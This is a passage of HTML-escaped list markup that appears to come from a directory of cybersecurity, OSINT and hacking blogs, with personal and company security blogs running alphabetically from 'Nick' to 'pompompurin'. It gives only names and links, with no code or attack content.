  &lt;li&gt;&lt;a href=&quot;https://njbooher.github.io&quot;&gt;Nick’s infrequently updated blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nickbloor.co.uk&quot;&gt;NickstaDB&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nickzero.co.uk&quot;&gt;NickZero’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mouha.be/blog/&quot;&gt;Nicky Mouha&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.dutchosintguy.com/blog&quot;&gt;Nico Dekens | Dutch OSINT Guy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://niconiconi.neocities.org&quot;&gt;niconiconi’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://niebardzo.github.io&quot;&gt;Niebardzo’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://niemand.com.ar&quot;&gt;Niemand&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wwws.nightwatchcybersecurity.com/blog/&quot;&gt;Nightwatch Cybersecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.niksthehacker.com&quot;&gt;Nikhil (niks)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://coderush.me&quot;&gt;Nikolaj Schlej&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thenimblenerd.com&quot;&gt;The Nimble Nerd&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ninadmathpati.com/blog/&quot;&gt;Ninad Mathpati&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ninetyn1ne.github.io&quot;&gt;ninetyn1ne&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nirmaldahal.com.np/posts/&quot;&gt;Nirmal Dahal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tnirmal.com.np&quot;&gt;Nirmal Thapa&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nishantjain.tech/#/blog&quot;&gt;Nishant Jain&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nixintel.info&quot;&gt;NixIntel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nns.ee/blog/&quot;&gt;nns.ee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nosecurity.blog&quot;&gt;No Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://no-sec.net&quot;&gt;no-sec.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://noahclements.com&quot;&gt;Noah Clements&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wts.dev/posts/&quot;&gt;Noah Gregory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://noahblog.360.cn&quot;&gt;Noah Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.noahhw.dev/posts/&quot;&gt;Noah Weinberg&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nodauf.dev&quot;&gt;Nodauf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nodejs-security.com/blog&quot;&gt;Node.js Secure Coding&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.nody.cc&quot;&gt;Nody’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bugbaba.blogspot.com&quot;&gt;NomanAli181 | BugBaba&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://noncombatant.org&quot;&gt;Noncombatant&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://noobx.in/blogs&quot;&gt;NOO8x.in&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.sunggwanchoi.com&quot;&gt;Noob to !Noob&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.noob2pro4n6.com&quot;&gt;NOOB2PRO4N6&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nopcorn.github.io&quot;&gt;nopcorn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nordsec.dev&quot;&gt;Nord Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nordic-offsec.com&quot;&gt;Nordic Offsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nored0x.github.io&quot;&gt;NoRed0x&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.northseapwn.top&quot;&gt;NorthSea’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://infosec.press/screaminggoat/&quot;&gt;Not Simon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.notso.pro&quot;&gt;not so pro&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://not-matthias.github.io&quot;&gt;not-matthias&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://dhe.im/posts/&quot;&gt;notes on sec &amp;amp; tech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.notonlyowner.com&quot;&gt;NotOnly.Owner&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://notsosecure.com/blog/&quot;&gt;NotSoSecure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nowotarski.info/posts/&quot;&gt;nowotarski.info&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ns-echo.com/index.html&quot;&gt;NSEcho blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nu1lptr0.github.io&quot;&gt;nu1lptr&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nullhardware.com/blog/&quot;&gt;Null Hardware&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://null-sector.com/posts/&quot;&gt;Null Sector&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nullsweep.com&quot;&gt;Null Sweep&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://null2root.github.io/blog/&quot;&gt;Null@Root&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://x00.zip&quot;&gt;NULL_SEC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nullg0re.com&quot;&gt;nullg0re&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.nullpt.rs&quot;&gt;nullpt.rs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nullsec.us&quot;&gt;NullSecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blag.nullteilerfrei.de&quot;&gt;nullteilerfrei&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nusgreyhats.org&quot;&gt;NUS Greyhats&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nutcrackerssecurity.github.io/blog.html&quot;&gt;Nut Crackers Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nuxx.net/blog/&quot;&gt;nuxx.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nv1t.github.io/blog/&quot;&gt;nv1t&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.nviso.eu&quot;&gt;NVISO Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.nxadmin.com&quot;&gt;nxadmin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nxb1t.is-a.dev&quot;&gt;nxb1t&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.nyangawa.me&quot;&gt;Nyangawa&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nyget.in/blog/&quot;&gt;Nygetin Paikka&lt;/a&gt; - Pigeons!&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nyxgeek.wordpress.com&quot;&gt;nyxgeek&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oalabs.openanalysis.net&quot;&gt;OA Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://h4ck.org.cn&quot;&gt;OBABY@MARS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://obmiblog.blogspot.com&quot;&gt;Obmi’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://obumchidi.wordpress.com&quot;&gt;Obum Chidi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.occurative.com&quot;&gt;Occurative&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oddlama.org/&quot;&gt;oddlama&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oddvar.moe&quot;&gt;Oddvar Moe&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oddsolutions.github.io&quot;&gt;ODS Security Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://offensive-ai-lab.github.io/publications/&quot;&gt;Offensive AI Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.offensivecontext.com&quot;&gt;Offensive Context&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://offensivedefence.co.uk&quot;&gt;Offensive Defence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.offensiveosint.io&quot;&gt;Offensive OSINT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.offensive.af/posts/&quot;&gt;Offensive.af&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.offsec-journey.com&quot;&gt;Offsec Journey&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cioaonk.github.io/Website/&quot;&gt;ohCoz’s corner&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oldboy21.github.io/posts/&quot;&gt;oldboy21&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://olegkutkov.me&quot;&gt;Oleg Kutkov&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ojensen.net&quot;&gt;Oliver Jensen&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pifferi.info&quot;&gt;Oliver’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.olliejc.uk&quot;&gt;OllieJC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://omarm.ca/blog/&quot;&gt;Omar Minawi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.omarbv.com&quot;&gt;omarbv&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securityblog.omegapoint.se/articles.html&quot;&gt;omega point&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://omeramiad.com&quot;&gt;Omer Amiad&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.omerlh.info&quot;&gt;Omer Levi Hevroni&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://omespino.com&quot;&gt;Omespino&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://omgits.me/posts/&quot;&gt;OMG! It’s me!!&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://omid.dev/posts/&quot;&gt;Omid Farhang&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://newtonpaul.com&quot;&gt;On The Hunt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://web-in-security.blogspot.com&quot;&gt;On Web-Security and -Insecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oneeyedtechs.com&quot;&gt;One Eyed Techs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://norfolkinfosec.com&quot;&gt;One Night in Norfolk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://one.0day.works/posts/&quot;&gt;one.0day.works&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://onlyf8.com/enmalware&quot;&gt;onlyf8&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.onsec.io&quot;&gt;ONSEC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://op-co.de/blog/&quot;&gt;op-co.de&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://osdfir.blogspot.com&quot;&gt;Open Source DFIR&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://opensourcesecurity.io/category/securityblog/&quot;&gt;Open Source Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.openthreatresearch.com&quot;&gt;Open Threat Research Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.orange.tw&quot;&gt;Orange&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hazana.xyz&quot;&gt;Orion-Hridoy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.ornx.net&quot;&gt;ornx’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://osamaelnaggar.com/blog/&quot;&gt;Osama Elnaggar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://osintforall.in/articles/&quot;&gt;Osint For All&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.osintme.com&quot;&gt;OSINT ME&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://osintcurio.us&quot;&gt;OSINTCurio.us&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://edbro.net&quot;&gt;Oskar Edbro&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xjay.com/&quot;&gt;OSPwn Blogs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ost2.fyi/Blog.html&quot;&gt;OST2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://05t3.github.io&quot;&gt;Oste’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ostering.com&quot;&gt;OSTERING&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://o5wald.github.io/posts/&quot;&gt;Oswald&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.otter-sec.com&quot;&gt;Otter Sec&lt;/a&gt; and &lt;a href=&quot;https://www.otter-security.com&quot;&gt;this&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.mfmokbel.com&quot;&gt;The Ourea&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.oobs.io&quot;&gt;Out of Bounds&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ovelny.sh&quot;&gt;ovelny&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://overreacted.io&quot;&gt;Overreacted&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://0x0v1.com/posts/&quot;&gt;Ovi Liber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tech.ovoenergy.com&quot;&gt;ovo tech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owlhacku.com&quot;&gt;owlhacku&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://owlspace.xyz&quot;&gt;Owlspace&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.oxagast.org&quot;&gt;oxasploits&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oxis.github.io&quot;&gt;oxis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ozuriexv.github.io&quot;&gt;Ozurie&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://p0pcycle.com&quot;&gt;p0pcycle&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.p1boom.com&quot;&gt;P1 BOOM&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.p1k4chu.com&quot;&gt;p1k4chu&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.p4nda.tools&quot;&gt;P4nda’s Bug Bounty Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.p64cyber.com/category/365daysofpwn/&quot;&gt;p64.labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.paavo.me&quot;&gt;paavohtl’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pacibsp.github.io&quot;&gt;PACIBSP&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://threats.amnpardaz.com/en/&quot;&gt;Padvish Threats Database | AmnPardaz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pagedout.institute/&quot;&gt;Paged Out&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pandaonair.com&quot;&gt;PandaOnAir&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pankajupadhyay.in&quot;&gt;Pankaj Upadhyay&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.paracyberbellum.io&quot;&gt;ParaCyberBellum&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.paradoxis.nl&quot;&gt;Paradoxis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pardonmynoot.com/posts/&quot;&gt;Pardon my Noot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.parthmalhotra.com&quot;&gt;Parth Malhotra&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.partywave.site&quot;&gt;partywave&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://parzelsec.de&quot;&gt;parzelsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.pasqualefiorillo.it&quot;&gt;Pasquale ‘SID’ Fiorillo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pstirparo.ch&quot;&gt;Pasquale Stirparo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://passthehashbrowns.github.io&quot;&gt;PassTheHashBrowns&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.tofile.dev&quot;&gt;pat_h/to/file&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://patches.zip&quot;&gt;Patches.zip&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://patricia.no&quot;&gt;Patricia Aas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pat.sh&quot;&gt;Patrick Nappa&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.it-securityguard.com&quot;&gt;Patrik Fehrenbach&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xpatrik.com&quot;&gt;Patrik Hudak&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.patternsinthevoid.net&quot;&gt;Patterns in the Void&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securitypodcaster.com/blog/&quot;&gt;Paul Asadoorian&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pducklin.com&quot;&gt;Paul Ducklin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pauljerimy.com&quot;&gt;Paul Jerimy&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sh0ckfr.com/pages/&quot;&gt;Paul Laîné&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://paulmillr.com&quot;&gt;Paul Miller&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://paulponraj.com/category/cyber-security/&quot;&gt;Paul Ponraj&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://paulsanders.co.uk/tag/blog/&quot;&gt;Paul Sanders&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://paul.totterman.name&quot;&gt;Paul Totterman&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.paulch.ru&quot;&gt;paulch blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.paulosyibelo.com&quot;&gt;Paulos Yibelo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://paulsec.github.io&quot;&gt;Paulsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pavel.gr&quot;&gt;Pavel Tsakalidis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scorpiosoftware.net&quot;&gt;Pavel Yosifovich&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pcsxcetrasupport3.wordpress.com&quot;&gt;PC’s Xcetra Support&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://pedrovhb.com&quot;&gt;Pedro’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.peew.pw&quot;&gt;Peew.pw&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pengrey.com/posts/&quot;&gt;Pengrey&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pentestbook.six2dez.com&quot;&gt;Pentest Book&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pentest.blog&quot;&gt;Pentest.blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pentestlab.blog&quot;&gt;Penetration Testing Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pentestlaboratories.com/blog/&quot;&gt;Pentest Laboratories&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sp00ks-git.github.io&quot;&gt;A Pentesters Ramblings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pberba.github.io&quot;&gt;pepe berba&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pepperclipp.com&quot;&gt;Pepperclipp&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://percepticon.de/category/blog/&quot;&gt;Percepticon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://perilous.tech&quot;&gt;Perilous Tech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.permafrostsec.com/posts/&quot;&gt;PermafrostSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://persistence-info.github.io&quot;&gt;persistence-info&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.karims.cloud&quot;&gt;Personal notes on Cybersecurity and Cloud&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.petefinnigan.com/weblog/archives/&quot;&gt;Pete Finnigan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pgj11.com&quot;&gt;Peter Gabaldon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rezer0dai.github.io&quot;&gt;Peter Hlavaty&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://reuteras.com&quot;&gt;Peter Reuterås&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://peter.website&quot;&gt;peter.website&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pethuraj.com/blog/&quot;&gt;Pethuraj’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pewpewthespells.com/blog/&quot;&gt;pewpewthespells&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://phasetw0.com&quot;&gt;phasetw0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://philipsnyder.me&quot;&gt;Philip Snyder&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.phillipkittelson.com/blogview/&quot;&gt;Phillip Kittelson&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://phillipprado.xyz&quot;&gt;Phillip Prado&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://philippeharewood.com&quot;&gt;Phillipe Harewood&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://phoenix-sec.io&quot;&gt;Phoenix Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://phrack.org&quot;&gt;PHRACK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pi0x73.github.io&quot;&gt;pi0x73&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.pi3.com.pl&quot;&gt;pi3 blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0pointer.net/blog/&quot;&gt;Pid Eins&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://beune.dev&quot;&gt;Pim Beune&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pirate.london&quot;&gt;pirate dot london&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.piratemoo.com&quot;&gt;pirate moo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mpizzicaroli.github.io&quot;&gt;The Pizza Box&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.pksecurity.io&quot;&gt;PKSecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://plainsec.org&quot;&gt;Plain Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lekstu.ga/posts/&quot;&gt;Playhouse&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.pluggedpotato.com&quot;&gt;Plugged Potato&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pmnh.site&quot;&gt;pmnh&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://podalirius.net/en/articles/&quot;&gt;Podalirius&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.pogowasright.org&quot;&gt;PogoWasRight.org&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pomba.net&quot;&gt;Pomba Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.pompur.in&quot;&gt;pompompurin&lt;/a&gt;&lt;/li&gt;
